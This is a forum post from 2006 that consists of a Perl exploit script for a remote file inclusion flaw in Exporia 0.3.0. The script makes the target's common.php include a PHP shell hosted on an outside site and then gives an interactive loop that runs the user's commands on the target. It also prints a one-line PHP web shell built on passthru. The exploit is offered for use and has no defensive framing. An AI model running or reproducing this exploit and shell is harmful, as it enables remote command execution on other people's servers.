PDA

Bekijk Volledige Versie : Exporia => 0.3.0 Remote File Include Vulnerability Exploit



h4ck3riran@yahoo.com
30/10/06, 19:20
#!/usr/bin/perl
# Script.............. :Exporia
# Discovered By.... : Root3r_H3ll
# Location .......... : Iran
# Class.............. : Remote
# Original Advisory : http://Www.PersainFox.com & Www.Arashrj.ir
# We ArE : Root3r_H3LL & Arash.Rj
# <Spical TNX Irania Hackers :
# ( Aria-Security , Crouz , DeltaHacking , Iranhackers
# Kapa TeaM , Ashiyane , Shabgard , Simorgh-ev , Xmors )

use LWP::Simple;

print ".................................................. .............\n";
print ". .\n";
print ". Exporia => 0.3.0 Remote File Include Vulnerability .\n";
print ". .\n";
print ".................................................. .............\n";
print ". .\n";
print ". PerSiaNFox NetWork Security TeaM .\n";
print ". Discovered By : Root3r_H3ll .\n";
print ". .\n";
print ".................................................. .............\n";
print ". .\n";
print ". Www.PerSiaNFox.coM .\n";
print ". .\n";
print ".................................................. .............\n";
print "\n";
print " I Love HacK & SecUrity \n";
print "\n\n";

my $kw3,$path,$shell,$conexiune,$cmd,$data ;


if ((!$ARGV[0]) || (!$ARGV[1])) { &usage;exit(0);}

$path = $ARGV[0];
chomp($path);
$shell = $ARGV[1];
chomp($shell);

$path = $path."/common.php";


sub usage(){
print "Usage : perl $0 host/path http://site.com/cmd.txt\n\n";
print "Example : perl $0 http://127.0.0.1 http://site.com/cmd.txt\n\n";
print 'Shell : <?php ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>';
}

while ()
{
print "[Root3r_H3LL][Arash.rj]";
chomp($cmd=<STDIN>);
if ($cmd eq "exit") { exit(0);}

$kw3 = $path."?lan=".$shell."?&cmd=".$cmd;
if ($cmd eq "")
{ print "Enter your command !\n"; }
else
{ $data=get($kw3); print $data ; }
}